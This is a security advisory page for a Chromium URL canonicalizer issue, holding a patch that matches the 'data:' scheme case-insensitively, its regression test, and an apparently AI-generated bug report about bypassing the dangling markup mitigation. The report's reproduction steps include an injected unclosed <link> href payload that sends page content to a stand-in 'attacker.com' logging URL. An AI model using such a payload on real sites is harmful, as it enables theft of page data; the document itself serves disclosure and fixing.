CVE-2026-79251
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
TEST_Furl/url_util_unittest.cc |
modified | |
forurl/url_util_unittest.cc |
modified |
Files Changed
url/url_canon_etc.ccurl/url_util_unittest.cc
Patch
From 58101a0c47e06a2ec0ed30877083e908c3d1b8af Mon Sep 17 00:00:00 2001 From: Hayato Ito <[email protected]> Date: Mon, 29 Jun 2026 17:29:44 -0700 Subject: [PATCH] url: Match data: case-insensitively when skipping whitespace RemoveUrlWhitespace() preserves whitespace inside data: URLs but matched the scheme via a literal lowercase byte compare anchored at offset zero. Since URL schemes are ASCII case-insensitive and canonicalized to lowercase later, "data:,a\nb" and "DATA:,a\nb" took different paths and produced different canonical specs and potentially_dangling_markup values. The same divergence occurred for relative inputs with leading tab/CR/LF, where TrimUrl has not yet run. Step over leading removable whitespace and compare the scheme ASCII-case-insensitively so all spellings of the data: scheme are handled identically. Historical Context & Rationale: 1. http://crrev.com/c/514024: The `potentially_dangling_markup` flag was introduced to mitigate dangling markup injection attacks by detecting the coexistence of newlines and '<' in URLs. 2. http://crrev.com/c/616664: The `data:` URL exception was introduced to skip whitespace removal for `data:` URLs. This was crucial to preserve the payload and allow embedded URLs inside `data:` URLs to be properly checked for dangling markup by the parser. Thus, this dangling markup mitigation and its `data:` exception are Chromium-specific behaviors. It was originally proposed in WHATWG URL PR #284 (https://github.com/whatwg/url/pull/284) and WHATWG Fetch PR #519 (https://github.com/whatwg/fetch/pull/519) but never merged into the standards. Even though the `data:` exception is Chromium-specific, it must respect the fundamental invariants of the URL standard—namely, that schemes are case-insensitive and leading whitespace is ignorable. This change ensures `DATA:` and `\tdata:` behave identically to `data:`. TAG=agy Bug: 513392351 Change-Id: If997553c2b6301993f5833bba4fdb92eb3288a1e Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8018050 Commit-Queue: Hayato Ito <[email protected]> Reviewed-by: Kenichi Ishibashi <[email protected]> Reviewed-by: Kent Tamura <[email protected]> Cr-Commit-Position: refs/heads/main@{#1654493} --- diff --git a/url/url_canon_etc.cc b/url/url_canon_etc.cc index 9bd617b..97071b7 100644 --- a/url/url_canon_etc.cc +++ b/url/url_canon_etc.cc @@ -64,14 +64,25 @@ return input; } - // Skip whitespace removal for `data:` URLs. + // Skip whitespace removal for `data:` URLs. The scheme is matched + // ASCII-case-insensitively and after stepping over any leading removable + // whitespace, so that the result is the same regardless of how the scheme + // is spelled. // // TODO(mkwst): Ideally, this would use something like `base::StartsWith`, but // that turns out to be difficult to do correctly given this function's // character type templating. - if (input.length() > 5 && input[0] == 'd' && input[1] == 'a' && - input[2] == 't' && input[3] == 'a' && input[4] == ':') { - return input; + size_t scheme_start = 0; + while (scheme_start < input.length() && + IsRemovableURLWhitespace(input[scheme_start])) { + ++scheme_start; + } + std::basic_string_view<CHAR> trimmed = input.substr(scheme_start); + if (trimmed.length() > 5 && (trimmed[0] == 'd' || trimmed[0] == 'D') && + (trimmed[1] == 'a' || trimmed[1] == 'A') && + (trimmed[2] == 't' || trimmed[2] == 'T') && + (trimmed[3] == 'a' || trimmed[3] == 'A') && trimmed[4] == ':') { + return trimmed; } // Remove the whitespace into the new buffer and return it. diff --git a/url/url_util_unittest.cc b/url/url_util_unittest.cc index fb5bbb5..24ca717e2 100644 --- a/url/url_util_unittest.cc +++ b/url/url_util_unittest.cc @@ -431,6 +431,62 @@ } } +TEST_F(URLUtilTest, DataURLWhitespaceHandlingIsSchemeCaseInsensitive) { + // Whitespace removal is skipped for data: URLs so that the body is + // preserved verbatim. Scheme matching is ASCII case-insensitive, so the + // skip must apply regardless of the case used to spell the scheme, and + // regardless of any tab/CR/LF preceding it. + struct { + const char* input; + const char* canonicalized; + bool potentially_dangling_markup; + } cases[] = { + {"data:text/html,a\nb", "data:text/html,a%0Ab", false}, + {"DATA:text/html,a\nb", "data:text/html,a%0Ab", false}, + {"Data:text/html,a\nb", "data:text/html,a%0Ab", false}, + {"dAtA:text/html,a\nb", "data:text/html,a%0Ab", false}, + {"data:text/html,<a\nb", "data:text/html,<a%0Ab", false}, + {"DATA:text/html,<a\nb", "data:text/html,<a%0Ab", false}, + {"\tdata:text/html,a\nb", "data:text/html,a%0Ab", false}, + {"\tDATA:text/html,a\nb", "data:text/html,a%0Ab", false}, + {"\r\n\tdata:text/html,<a\nb", "data:text/html,<a%0Ab", false}, + // Inputs that merely contain "data:" later still have whitespace + // removed as usual. + {"dat\ta:text/html,<ab", "data:text/html,<ab", true}, + }; + + for (const auto& test : cases) { + SCOPED_TRACE(test.input); + + // Direct canonicalization. + { + Parsed parsed; + std::string out; + StdStringCanonOutput output(&out); + ASSERT_TRUE(Canonicalize(test.input, true, nullptr, &output, &parsed)); + output.Complete(); + EXPECT_EQ(test.canonicalized, out); + EXPECT_EQ(test.potentially_dangling_markup, + parsed.potentially_dangling_markup); + } + + // Resolution against a base URL. + { + const char* base = "https://example.com/"; + Parsed base_parsed = ParseStandardUrl(base); + Parsed parsed; + std::string out; + StdStringCanonOutput output(&out); + ASSERT_TRUE(ResolveRelative(base, base_parsed, test.input, nullptr, + &output, &parsed)); + output.Complete(); + EXPECT_EQ(test.canonicalized, out); + EXPECT_EQ(test.potentially_dangling_markup, + parsed.potentially_dangling_markup); + } + } +} + TEST_F(URLUtilTest, PotentiallyDanglingMarkupAfterReplacement) { // Parse a URL with potentially dangling markup. Parsed original_parsed;
Regression Test / PoC
diff --git a/url/url_util_unittest.cc b/url/url_util_unittest.cc
index fb5bbb5..24ca717e2 100644
--- a/url/url_util_unittest.cc
+++ b/url/url_util_unittest.cc
@@ -431,6 +431,62 @@
}
}
+TEST_F(URLUtilTest, DataURLWhitespaceHandlingIsSchemeCaseInsensitive) {
+ // Whitespace removal is skipped for data: URLs so that the body is
+ // preserved verbatim. Scheme matching is ASCII case-insensitive, so the
+ // skip must apply regardless of the case used to spell the scheme, and
+ // regardless of any tab/CR/LF preceding it.
+ struct {
+ const char* input;
+ const char* canonicalized;
+ bool potentially_dangling_markup;
+ } cases[] = {
+ {"data:text/html,a\nb", "data:text/html,a%0Ab", false},
+ {"DATA:text/html,a\nb", "data:text/html,a%0Ab", false},
+ {"Data:text/html,a\nb", "data:text/html,a%0Ab", false},
+ {"dAtA:text/html,a\nb", "data:text/html,a%0Ab", false},
+ {"data:text/html,<a\nb", "data:text/html,<a%0Ab", false},
+ {"DATA:text/html,<a\nb", "data:text/html,<a%0Ab", false},
+ {"\tdata:text/html,a\nb", "data:text/html,a%0Ab", false},
+ {"\tDATA:text/html,a\nb", "data:text/html,a%0Ab", false},
+ {"\r\n\tdata:text/html,<a\nb", "data:text/html,<a%0Ab", false},
+ // Inputs that merely contain "data:" later still have whitespace
+ // removed as usual.
+ {"dat\ta:text/html,<ab", "data:text/html,<ab", true},
+ };
+
+ for (const auto& test : cases) {
+ SCOPED_TRACE(test.input);
+
+ // Direct canonicalization.
+ {
+ Parsed parsed;
+ std::string out;
+ StdStringCanonOutput output(&out);
+ ASSERT_TRUE(Canonicalize(test.input, true, nullptr, &output, &parsed));
+ output.Complete();
+ EXPECT_EQ(test.canonicalized, out);
+ EXPECT_EQ(test.potentially_dangling_markup,
+ parsed.potentially_dangling_markup);
+ }
+
+ // Resolution against a base URL.
+ {
+ const char* base = "https://example.com/";
+ Parsed base_parsed = ParseStandardUrl(base);
+ Parsed parsed;
+ std::string out;
+ StdStringCanonOutput output(&out);
+ ASSERT_TRUE(ResolveRelative(base, base_parsed, test.input, nullptr,
+ &output, &parsed));
+ output.Complete();
+ EXPECT_EQ(test.canonicalized, out);
+ EXPECT_EQ(test.potentially_dangling_markup,
+ parsed.potentially_dangling_markup);
+ }
+ }
+}
+
TEST_F(URLUtilTest, PotentiallyDanglingMarkupAfterReplacement) {
// Parse a URL with potentially dangling markup.
Parsed original_parsed;
Original Bug Report
Bypass of dangling markup mitigation via case-sensitive 'data:' prefix check
Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.
Overview: A logic error in the URL canonicalizer’s whitespace handling allows ‘data:’ URLs to bypass dangling markup detection. This occurs because a case-sensitive prefix check causes an early return, skipping the security flag assignment required to block dangerous resource loads.
Affected files:
url/url_canon_etc.ccurl/url_util.ccthird_party/blink/renderer/core/html/html_link_element.cc
Estimated timestamp from git blame: 2017-08-21
Potential Vulnerability: Dangling Markup Mitigation Bypass for data: URLs
A logic error exists in the URL canonicalizer’s whitespace removal function that leads to inconsistent behavior and a potential security bypass for data: URLs. Specifically, the function DoRemoveUrlWhitespace in url/url_canon_etc.cc contains a case-sensitive check for the data: scheme that improperly allows lowercase data: URLs to skip security flag assignment.
Root Cause Analysis
In url/url_canon_etc.cc, the following optimization exists to skip whitespace removal for data: URLs:
// url/url_canon_etc.cc line 72
if (input.length() > 5 && input[0] == 'd' && input[1] == 'a' &&
input[2] == 't' && input[3] == 'a' && input[4] == ':') {
return input;
}
This check is implemented using a case-sensitive comparison. When a URL starts with lowercase data:, the function returns the input string immediately. However, if the scheme is provided in any other case (e.g., DATA:), the check fails, and the function proceeds to the main loop (starting at line 78):
for (const CHAR ch : input) {
if (!IsRemovableURLWhitespace(ch)) {
if (potentially_dangling_markup && ch == 0x3C) {
*potentially_dangling_markup = true;
}
buffer->push_back(ch);
}
}
This loop is responsible for setting the potentially_dangling_markup flag when a < character (0x3C) is encountered in a URL that contains removable whitespace (newlines, tabs, or carriage returns). By returning early for lowercase data:, the canonicalizer fails to set this security flag even if the URL contains dangerous markup characters.
Impact
- Dangling Markup Mitigation Bypass: Blink’s
HTMLLinkElement::ShouldLoadLink(third_party/blink/renderer/core/html/html_link_element.cc:246) relies on thePotentiallyDanglingMarkup()flag to block loads that might be part of an exfiltration attack. An attacker can use a lowercasedata:prefix to ensure this flag is never set, bypassing the defense-in-depth mechanism that prevents data theft via unclosed attributes in injected tags. - Parser Differential: According to the WHATWG URL Standard, schemes are case-insensitive. Chrome’s implementation creates a discrepancy where
data:text/html,a\nbpreserves the newline, whileDATA:text/html,a\nbstrips it. This can lead to bypasses of server-side security filters that use WHATWG-compliant parsers.
Potential Reproduction Steps
- Inject a
<link>element with an unclosedhrefattribute starting with lowercasedata::<link rel="stylesheet" href="data:text/css,body{background:url('https://attacker.com/log?">. - Note that the browser consumes the subsequent page content (including newlines and
<characters) into the attribute value. - Observe that
HTMLLinkElement::ShouldLoadLinkallows the load because thepotentially_dangling_markupflag was not set during URL resolution. - Compare this with the behavior when using
DATA:, which correctly triggers the mitigation and blocks the load.
Suggested Fix
Modify DoRemoveUrlWhitespace in url/url_canon_etc.cc to use a case-insensitive prefix check. Furthermore, ensure that even if whitespace removal is skipped for data: URLs, the input string is still scanned to set the potentially_dangling_markup flag if it contains markup characters and removable whitespace. This can be achieved by integrating the flag-setting logic into the early-return path or by standardizing whitespace removal for all schemes in compliance with the URL Standard.
Evaluated with Chrome root at commit: b3153093eb3c78c3e88ccf562bcbc20437a04b0e
Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:
- If you are familiar with the severity guidelines, you may adjust the severity.
- If this is a false positive, and there’s no work to be done, please close as WAI.
- If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.
Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.